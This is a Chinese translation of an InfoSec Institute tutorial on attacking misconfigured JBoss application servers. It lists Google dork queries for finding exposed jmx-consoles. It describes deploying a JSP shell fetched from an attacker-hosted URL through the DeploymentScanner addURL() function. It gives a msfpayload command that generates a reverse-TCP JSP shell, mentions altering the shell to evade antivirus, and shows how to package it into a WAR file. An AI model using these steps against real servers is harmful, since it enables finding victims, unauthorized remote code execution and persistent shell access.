原文地址:http://resources.infosecinstitute.com/jboss-exploitation/
JBoss Application Server是一个基于Jave EE的web应用服务器。如果Jboss没有正确配置,它会允许攻击者进行各种恶意攻击。由于JMX console可以通过端口8080远程访问,攻击者和恶意用户可以通过使用Jboss console中的DeploymentScanner功能部署他们自己的WAR(web archive)文件或shell脚本。
通过Google dorks找到的一些jmx-console
intitle:”jboss management console” “application server” version inurl:”web-console”
intitle:”JBoss Management Console – Server Information” “application server” inurl:”web-console” OR inurl:”jmx-console”
inurl:jmx-console/HtmlAdaptor
虽然虽然大多数的Jboss服务器对于jmx-console都有默认的认证,但是没有限制访问控制台和web管理接口,这些将会让攻击者绕过认证从而获得管理员访问权限。
下图为从Google dorks中找到的jmx-console,它需要密码访问。
然后我们需要一个jsp shell
为了部署恶意文件,我们将会使用jmx console中的DeploymentScanner ,通过增加一个新的url,这个url用于存储我们上传的文件,addURL()命令可以用过添加一个url到应用/shell,然后可以从url获取这个应用。
然后等待DeploymentScanner部署文件,接下来就可以访问我们的shell了。在部署之前,我们需要上传我们的shell到网站,例如http://www.malicious website.com/files/cmd.jsp。然后我们需要通过控制台访问DeploymentScanner来部署。一旦url被添加,我们就可以唤醒函数。
在上图中,我们点击button来激活函数。然后应用程序返回一个成功的消息。可以使用metasploit来创建一个更加稳定的jspshell:
root@bt:~# msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=8080 R > infosec.jsp
可以生成一个jsp shell,还可以进一步修改来绕过AV。一旦shell上传到服务器,通过msfconsole来开启Metasploit multi handler。访问上传的shell,你将会在msfconsole中看到一个新的session。
如果打算直接从控制台上传jsp shell,那么有时可能需要将jsp文件打包成war文件。使用下列指令:
1. 安装最新的Java SDK,可能要求重启
2. 把cmd.jsp拷贝到工作目录,然后创建一个叫web-inf的子文件夹
3. 把下列代码放到WEB-INF/web.xml文件中:
version=”1.0″ ?>
<web-app
xmlns=”http://java.sun.com/xml/ns/j2ee”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xsi:schemaLocation=”http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd”
version=”2.4″>
<servlet>
<servlet-name>Command</servlet-name>
<jsp-file>/cmd.jsp</jsp-file>
</servlet>
</web-app>
在Windows中,使用下列命令打包
“C:Program Files (x86)Javajdk1.6.0_26binjar.exe” cvf cmd.war WEB-INF cmd.jsp
也可以使用
Kingcope 来实现。